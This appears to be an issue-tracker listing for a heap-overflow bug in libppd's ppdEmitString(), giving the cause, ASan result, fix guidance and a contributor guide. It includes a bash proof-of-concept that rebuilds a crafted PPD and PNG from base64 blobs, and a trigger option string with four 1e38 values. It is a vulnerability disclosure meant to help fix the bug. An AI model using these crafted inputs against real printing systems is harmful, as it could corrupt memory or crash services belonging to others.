OpenPrinting / OpenPrinting/libppd
libppd: Custom real parameters overflow ppdEmitString
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 5
- Forks
- 29
- PR merge metrics
- No merged PRs in 30d
Description
Summary
ppdEmitString() reserves only ten bytes for each marked Custom numeric
parameter. Four legal real values near 1e38 each format to roughly 38
bytes, causing _ppdStrFormatd() and subsequent emission to write past a
202-byte heap allocation.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The relevant source is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28,
defines four Custom real parameters with range 0..1e38.
Run ./reproduce.sh. MODE=control ./reproduce.sh marks only two parameters;
the default marks all four:
AuditMulti="{ P1=1e38 P2=1e38 P3=1e38 P4=1e38 }"
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: Custom real parameters overflow ppdEmitString
# Finding ID: libppd-custom-real-emit-heap-overflow
# Trigger: ppdEmitString() reserves only ten bytes for each marked Custom
# numeric parameter. Four legal real values near 1e38 each format to roughly
# 38 bytes, causing _ppdStrFormatd() and subsequent emission to write past a
# 202-byte heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1625 bytes)
write_file printer.ppd 780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61UTU/jMBC991dYPUEl6qTpp4WQoIDUVUstCntZ7cFNhmKtY0eOjdj++h33g6Ts
IuWwh0bWmzfjmfem7nB+e3GdmTUw0u53k3arc29sLtx3sKU0ukKlggqLuxFic6E3Xmwq/E5vlCxf
q8idTk0m9YaR2Wo5F07quNVZCO1fROq8BYu1Vouni3u/3YLFkguTgXoQeWjnUZQOrDNFqt7JE+SF
Eg6Qs3o11j3I9NeBhwVq0VrgqwJ8GqapslGDLv5CxJrMpw7hs1rV8xBZVdOfJVEcnZMgQeqL8iOA
quyR/RQ+X4cBjxhOLdTUFBJKRu6FKmEfwF7cTghRFEqmKJLR9E1n3RC8sLsZSERsbZjDxXw6R8mz
b2aN2TrYpjCyLEA/z0jn2mfSLbxyku6OJA9nRjgKtNR4+dJmYG8B6Rno9Dcjw4hwNG0Fzhf1/Fbn
Fl4EnioIyyghdavG2iN098V+sJOpMiU8z9hprakvnclreU/WByMKUwSdhRX5XxQeUx6jwMSCUChG
DMn4S26P8h4jvUbchPKEkaQRt095n5F+I+6A8gEjg0bcIeVDFL8Rd0T5iJFRI+6Y8jEj40bcCeUT
RiaNuHGEZkToRtSMHrwL5jVzL0b7YvQv/mTgca13Gyq3UFvkw3ZWkTk4/K+0PrgHAJfs8pIewR9D
vGI06f2ks1xs8JG6uTHvRHulrq5KcAXSMniTKZxs8jH7tKFH2OxegH+1dIzVm9pj/7mtfdGPu0M6
iLWCa9Sxuv4ErjqIxyQZksGkT0aDYbs2QIFvhMxBl5+GqONVmUPz7dYf2HjjulkGAAA=
POC_PAYLOAD_1
Result
The two-parameter control exits 0. The four-parameter trigger aborts with
ASan WRITE of size 1 in _ppdStrFormatd() at string.c:239, immediately
after the heap region allocated by ppdEmitString().
The real filter path reaches the overflow before reading the 1-by-1 PNG:
imagetops -> ppdFilterLoadPPD -> ppdLoadAttributes
-> ppdRasterInterpretPPD -> ppdEmitString
This is a heap write controlled by PPD parameter definitions and job option
values. It is not demonstrated as an arbitrary-address write.
Cause and expected behavior
The size estimate at ppd-emit.c:783 assigns ten bytes to each numeric value,
while line 1096 formats a real value with %.12f. The estimate is not an
upper bound for the accepted real range.
Emission should use a two-pass bounded formatter or grow the buffer after
measuring every formatted parameter. PPD ranges and finite values must also be
validated before marking.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with ppd-emit.c at lines 783 and 1096, then inspect string.c:239 and run ./reproduce.sh with the supplied PPD and control mode. The fix is complete when the four-parameter trigger no longer produces an ASan write while the two-parameter control still exits 0, with accepted finite values handled safely.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 66/100